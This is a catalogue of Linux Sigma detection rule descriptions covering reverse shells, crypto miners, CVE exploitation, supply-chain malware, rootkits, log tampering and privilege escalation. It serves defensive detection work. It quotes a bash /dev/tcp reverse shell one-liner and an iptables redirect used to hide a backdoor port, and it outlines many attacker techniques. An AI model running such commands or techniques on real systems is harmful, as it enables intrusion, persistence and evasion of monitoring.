linux Sigma detection rules

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

linux · network_connection

Detects command line parameter very often used with coin miners

linux · auditd

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

linux · sudo

Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor

linux · process_creation

Detects possible command execution by web application/web shell

linux · auditd

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective

linux · process_creation

Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including: - Use of the `personality` syscall with the ADDR_NO_RANDOMIZE flag (0x0040000) - Modification of the /proc/sys/kernel/randomize_va_space file - Execution of the `sysctl` command to set `kernel.randomize_va_space=0` Disabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms. A successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.

linux · auditd

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

linux · process_creation

Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems. This technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities. Removal of audit rules can significantly impair detection of malicious activities on the affected system.

linux · process_creation

Detect changes in auditd configuration files

linux · auditd

Detects kernel auto-loading of the authencesn crypto module via modprobe This occurs when user-space code creates an AF_ALG socket and binds the authencesn AEAD cipher (e.g., authencesn(hmac(sha256),cbc(aes))). The kernel invokes modprobe to load the crypto module. This is a key indicator of CVE-2026-31431 (Copy Fail) exploitation, where the authencesn cipher is used to trigger a buffer overflow in the AF_ALG AEAD splice path, corrupting the page cache of SUID binaries for local privilege escalation. On Linux systems, modprobe is typically a symlink to kmod, so the process image will be /usr/bin/kmod (or /bin/kmod) with 'modprobe' appearing in the command line.

linux · process_creation

Detects file creation events linked to the Axios NPM supply chain compromise. Axios is a popular JavaScript HTTP client. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.

linux · file_event

Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.

linux · process_creation

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

linux · auditd

detects BPFDoor .lock and .pid files access in temporary file storage facility

linux · auditd

Detects buffer overflow attempts in Unix system log files

linux

Detects the use of the "capsh" utility to invoke a shell.

linux · process_creation

Detects the ld.so preload persistence file. See `man ld.so` for more information.

linux

Detects specific commands commonly used to remove or empty the syslog

linux

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

linux · network_connection

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

linux · network_connection

Detects when the file "passwd" or "shadow" is copied from tmp path

linux · process_creation

Detecting attempts to extract passwords with grep

linux · auditd

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

linux · process_creation

Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

linux · auditd

Detects suspicious shell commands used in various Equation Group scripts and tools

linux

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

linux · process_creation

Detects suspicious session with two users present

linux · guacamole

Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity

linux · process_creation

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

linux · process_creation

Detects suspicious command sequence that JexBoss

linux

Detects execution of the Kaspersky init.d stop script on Linux systems either directly or via systemctl. This activity may indicate a manual interruption of the antivirus service by an administrator, or it could be a sign of potential tampering or evasion attempts by malicious actors.

linux · process_creation

Detects creation of AF_ALG (Address Family 38) sockets via the socket() syscall. AF_ALG is the Linux kernel crypto API interface. It is exploited in CVE-2026-31431 to achieve local privilege escalation via a buffer overflow in the AF_ALG AEAD splice path that corrupts the page cache of SUID binaries. Legitimate AF_ALG usage is rare and confined to specific crypto utilities and VPN daemons using non-default kernel offload configurations.

linux · auditd

Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".

linux

Detects command line parameters or strings often used by crypto miners

linux · process_creation

Detects process connections to a Monero crypto mining pool

linux · network_connection

Detects known hacktool execution based on image name.

linux · process_creation

Detect attempt to enable auditing of TTY input

linux · auditd

Detects events with patterns found in commands used for reconnaissance on linux systems

linux · process_creation

Detects suspicious child processes spawned from Node.js server processes on Linux systems, potentially indicating remote code execution exploitation such as CVE-2025-55182 (React2Shell). This rule particularly looks for exploitation of vulnerability on Node.js Servers where attackers abuse Node.js child_process module to execute arbitrary system commands. When execSync() or exec() is used, the command line often includes a shell invocation followed by suspicious commands or scripts (e.g., /bin/sh -c <malicious-command>). For other methods, the Image field will show the spawned process directly.

linux · process_creation

Detects suspicious sub processes of web server processes

linux · process_creation

Detects process executions related to the backdoored versions of LiteLLM (v1.82.7 or v1.82.8). In March 2026, a supply chain attack was discovered involving the popular open-source LLM framework LiteLLM by Threat Actor TeamPCP. The malicious package harvests every credential on the system, encrypts and exfiltrates them, and installs a persistent C2 backdoor.

linux · process_creation

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

linux · auditd

Detect changes of syslog daemons configuration files

linux · auditd

Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep. Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted. This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.

linux · process_creation

Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

linux · auditd

Detects the creation of nsswitch.conf files in non-standard directories, which may indicate exploitation of CVE-2025-32463. This vulnerability requires an attacker to create a nsswitch.conf in a directory that will be used during sudo chroot operations. When sudo executes, it loads malicious shared libraries from user-controlled locations within the chroot environment, potentially leading to arbitrary code execution and privilege escalation.

linux · file_event

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

linux · process_creation

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

linux · process_creation

Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.

linux · process_creation

Detects the use of grep to discover specific files created by the GobRAT malware

linux · process_creation

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

linux · process_creation

Detects potential exploitation attempts of Nimbuspwn vulnerabilities CVE-2022-29799 and CVE-2022-27800 in Linux systems.

linux

Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity

linux · process_creation

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

linux · process_creation

Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.

linux

Detects programs that connect to known malware callback ports based on threat intelligence reports.

linux · network_connection

Detects the addition of a new user to a privileged group such as "root" or "sudo"

linux

Detects the execution of a binary from the Linux shared memory directory /dev/shm. This directory is a tmpfs mount backed entirely by RAM and is abused by attackers for fileless malware staging because files written there never touch physical disk and may evade disk-based detection.

linux · process_creation

Detects potential PwnKit exploitation CVE-2021-4034 in auth logs

linux · auth

Detects the use of Python's base64 decoding functions in command line executions on Linux systems. Malicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.

linux · process_creation

Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.

linux · process_creation

Detects relevant ClamAV messages

linux · clamav

Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks). This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.

linux · process_creation

Detects the command-line installation of specific malicious npm packages and versions associated with the Shai-Hulud 2.0 supply chain attack.

linux · process_creation

Detects the execution of `bun_environment.js` via the Bun runtime, a behavior associated with the Shai-Hulud "Second Coming" NPM supply chain attack. The malware uses a `setup_bun.js` script to install the Bun runtime if not present, and then executes the malicious `bun_environment.js` payload.

linux · process_creation

Detects creation of shai-hulud-workflow.yml file associated with Shai Hulud worm targeting NPM supply chain attack that exfiltrates GitHub secrets

linux · file_event

Detects potential Shai-Hulud malware indicators based on specific command line arguments associated with its execution.

linux · process_creation

Detects potential Shai Hulud NPM package attack attempting to exfiltrate data via curl to external webhook sites.

linux · process_creation

Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects execution of shells from a parent process located in a temporary (/tmp) directory

linux · process_creation

Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.

linux · process_creation

Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

linux · process_creation

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects shellshock expressions in log files

linux

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

linux · process_creation

Detects suspicious shell commands used in various exploit codes (see references)

linux

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

linux · process_creation

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

linux · file_event

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

linux · process_creation

Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

linux · process_creation

Detects java process spawning suspicious children

linux · process_creation

Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

linux · syslog

Detects execution of binaries located in potentially suspicious locations via "nohup"

linux · process_creation

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

linux

Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd

linux

Detects specific commands commonly used to remove or empty the syslog. Which is a technique often used by attacker as a method to hide their tracks

linux · process_creation

Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026. The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime.

linux · process_creation

Detects the creation of specific persistence files as observed in the LiteLLM PyPI supply chain attack. In March 2026, a supply chain attack was discovered involving the popular open-source LLM framework LiteLLM by Threat Actor TeamPCP. The malicious package harvests every credential on the system, encrypts and exfiltrates them, and installs a persistent C2 backdoor.

linux · file_event

Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.

linux · file_event

Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method

linux · file_event

Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges

linux · process_creation

Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script

linux · process_creation

Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.

linux · file_event

Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation.

linux · process_creation

Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.

linux · process_creation

Detects filename pattern of email related data used by UNC4841 for staging and exfiltration

linux · file_event

Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command.

linux · process_creation

Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the execution of a text-based file access or inspection utilities to read the content of /etc/sudoers in order to potentially list all users that have sudo rights.

linux · process_creation

All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.

linux · auditd

Detects the usage of the unsafe bpftrace option

linux · process_creation

Detects chmod targeting files in sensitive directory paths on Linux systems. Attackers may use chmod to change permissions of files in these directories to maintain persistence, escalate privileges, or disrupt system operations.

linux · process_creation

Detects the use of the `syslog` syscall with action code 5 (SYSLOG_ACTION_CLEAR), (4 is SYSLOG_ACTION_READ_CLEAR and 6 is SYSLOG_ACTION_CONSOLE_OFF) which clears the kernel ring buffer (dmesg logs). This can be used by attackers to hide traces after exploitation or privilege escalation. A common technique is running `dmesg -c`, which triggers this syscall internally.

linux · auditd

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

linux · auditd

Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.

linux · auditd

Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services on Linux systems. Attackers may stop or disable security tools and services to evade detection, maintain persistence, or disrupt system operations.

linux · process_creation

Detects disabling security tools

linux · process_creation

Detects disabling security tools

linux · syslog

Detects the use of wget to download content to a suspicious directory

linux · process_creation

Detects common command used to enable bpf kprobes tracing

linux · process_creation

Detects user account creation on ESXi system via esxcli

linux · process_creation

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

linux · process_creation

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

linux · process_creation

Detects changes to the ESXi syslog configuration via "esxcli"

linux · process_creation

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

linux · process_creation

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

linux · process_creation

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

linux · process_creation

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

linux · process_creation

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

linux · process_creation

Detect file time attribute change to hide new or changes to existing files.

linux · auditd

Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic

linux · process_creation

Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks

linux · process_creation

Detects suspicious interactive bash as a parent to rather uncommon child processes

linux · process_creation

Detects suspicious process command line that uses base64 encoded input for execution with a shell

linux · process_creation

Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded

linux · process_creation

Detects the creation of doas.conf file in linux host platform.

linux · file_event

Detects logs clearing attempts on Linux systems via utilities such as 'rm', 'rmdir', 'shred', and 'unlink' targeting log files and directories. Adversaries often try to clear logs to cover their tracks after performing malicious activities.

linux · process_creation

Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell

linux · process_creation

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

linux · auditd

Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.

linux · auditd

Detects suspicious modification of crontab file.

linux · cron

Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

linux · process_creation

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

linux · process_creation

Detects the creation or modification of files within the "sudoers.d" directory on Linux systems. Such activity may indicate an attempt to establish or maintain privilege escalation by granting specific users elevated permissions. Unauthorized changes to sudoers files are a common technique used by attackers to persist administrative access.

linux · file_event

Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT

linux · process_creation

Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes, or disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be misused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.

linux · auditd

Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation.

linux · sshd

Detects usage of "find" binary in a suspicious manner to perform discovery

linux · process_creation

Detects attempts of an attacker to enable core dumps for set-user-ID (SUID) processes by modifying the system file /proc/sys/fs/suid_dumpable, typically by setting its value to 1 or 2. Enabling this feature allows memory dumps (core dumps) of SUID processes, which usually run with elevated privileges. These dumps may contain sensitive information such as passwords, cryptographic keys or other secrets. CVE-2025-5054: Information leak via core dumps from SUID binaries using apport. CVE-2025-4598: Information disclosure in systemd-coredump due to insecure handling of SUID process memory dumps.

linux · process_creation

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

linux · process_creation

Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.

linux · process_creation

Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell

linux · process_creation

Detects the creation of suspicious files (jsp, java, class) in SAP NetWeaver directories, which may indicate exploitation attempts of vulnerabilities such as CVE-2025-31324.

linux · file_event

Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system. These files include, but are not limited to, system configuration files, authentication files, and critical application files. Attackers often target these files to maintain persistence, escalate privileges, or disrupt system operations.

linux · process_creation

Detects usage of "xterm" as a potential reverse shell tunnel

linux · process_creation

Detects a potentially suspicious execution of a process located in the '/tmp/' folder

linux · process_creation

Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location

linux · process_creation

Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance

linux · process_creation

Detects program executions in suspicious non-program folders related to malware or hacking activity

linux · auditd

Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePoint, etc. that could be used maliciously. While it is a legitimate tool, intended for use in CI pipelines and security assessments, It was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information.

linux · process_creation

Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\*.pth' (Windows) and '/lib/pythonX.Y/site-packages/*.pth' (Unix and macOS).

linux · file_event

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

linux · process_creation

Detects the execution of Python web servers via command line interface (CLI). After gaining access to target systems, adversaries may use Python's built-in HTTP server modules to quickly establish a web server without requiring additional software. This technique is commonly used in post-exploitation scenarios as it provides a simple method for transferring files between the compromised host and attacker-controlled systems.

linux · process_creation

Detects usage of the 'chattr' utility to remove immutable file attribute.

linux · process_creation

Detects removing immutable file attribute.

linux · auditd

Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible

linux · process_creation

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

linux · process_creation

Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects exploitation attempt using public exploit code for CVE-2018-15473

linux · sshd

Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)

linux · auditd

Detects suspicious child processes spawned by SAP NetWeaver on Linux systems that could indicate potential exploitation of vulnerability that allows arbitrary execution via webshells such as CVE-2025-31324.

linux · process_creation

Detects relevant commands often related to malware or hacking activity

linux · auditd

Detects a suspicious curl process start on linux with set useragent options

linux · process_creation

Detects a suspicious curl process start the adds a file to a web request

linux · process_creation

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

linux · process_creation

Detects commandline operations on shell history files

linux · auditd

Detects suspicious log entries in Linux log files

linux

Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

linux · sshd

Detects installation of suspicious packages using system installation utilities

linux · process_creation

Detects suspicious command with /dev/tcp

linux

Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

linux · vsftpd

Detects a creation of systemd services which could be used by adversaries to execute malicious code.

linux · auditd

Detects file creation indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026.

linux · file_event

Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process.

linux · process_creation

Detects usage of the "touch" process in service file.

linux · process_creation

Detects attempts to disable the Uncomplicated Firewall (UFW) on Linux systems. UFW is a popular firewall management tool that provides an easy-to-use interface for configuring firewall rules. Disabling UFW can leave a system vulnerable to attacks, as it may allow unauthorized access to network services and resources.

linux · process_creation

Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.

linux · auditd

Detects usage of the "usermod" binary to add users add users to the root or suoders groups

linux · process_creation

Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks

linux · process_creation

Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"

linux · file_event

Detects attempts to record audio using the arecord and ecasound utilities.

linux · auditd

Detects execution of the bash shell with the interactive flag "-i".

linux · process_creation

Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.

linux · process_creation

Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

linux · auditd

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

linux · process_creation

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

linux · auditd

Detects setting proxy configuration

linux · process_creation

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

linux · process_creation

Detects usage of crontab to list the tasks of the user

linux · process_creation

Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server

linux · process_creation

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

linux · auditd

Detects potential overwriting and deletion of a file using DD.

linux · process_creation

Detects usage of base64 utility to decode arbitrary base64-encoded text

linux · process_creation

Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery

linux · process_creation

Detects file and folder permission changes.

linux · auditd

Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character

linux · auditd

Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s

linux · process_creation

Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.

linux · auditd

Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.

linux · process_creation

Detects enumeration of local or remote network services.

linux · auditd

Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.

linux · process_creation

Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".

linux · process_creation

Detects the enumeration of other remote systems.

linux · process_creation

Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.

linux · process_creation

Detects the use of the 'setcap' utility to set the 'setuid' capability (cap_setuid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of user IDs (UIDs), including setting its current UID to a value that would otherwise be restricted (i.e. UID 0, the root user). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.

linux · process_creation

Detects the execution of 'sudo' command with '--chroot' option, which is used to change the root directory for command execution. Attackers may use this technique to evade detection and execute commands in a modified environment. This can be part of a privilege escalation strategy, as it allows the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463. While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.

linux · process_creation

Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings

linux · process_creation

Detects enumeration of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

linux · process_creation

Detects the creation of a new named pipe using the "mkfifo" utility

linux · process_creation

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

linux · auditd

Detects the creation of cron files in Cron directories, which could indicate potential persistence mechanisms being established by an attacker. Note that not all cron file creations are malicious - legitimate system administration activities and software installations may also create cron files. This detection should be investigated in context, considering factors such as the user creating the file, the timing of creation, and the contents of the cron job. Focus investigation on unexpected cron files created by non-administrative users or during suspicious timeframes. Additionally, it is recommended to review the contents of the newly created cron files to assess their intent. Furthermore, it is suggested to baseline normal cron file creation and apply additional filters to reduce false positives based on the specific environment.

linux · file_event

Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"

linux · process_creation

Detects overwriting (effectively wiping/deleting) of a file.

linux · auditd

Detects password policy discovery commands

linux · auditd

Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.

linux · process_creation

Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting. Adjust the threshold of filename length as needed based on your environment.

linux · file_event

Detects the creation of shell scripts under the "profile.d" path.

linux · file_event

Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network

linux · process_creation

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

linux · process_creation

Detects the use of tools that copy files from or to remote systems

linux

Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code

linux · process_creation

Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.

linux · auditd

Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations

linux · auditd

Detects usage of system utilities (only grep and egrep for now) to discover security software discovery

linux · process_creation

Detects the start, reload or restart of a service.

linux · auditd

Detects suspicious change of file privileges with chown and chmod commands

linux · process_creation

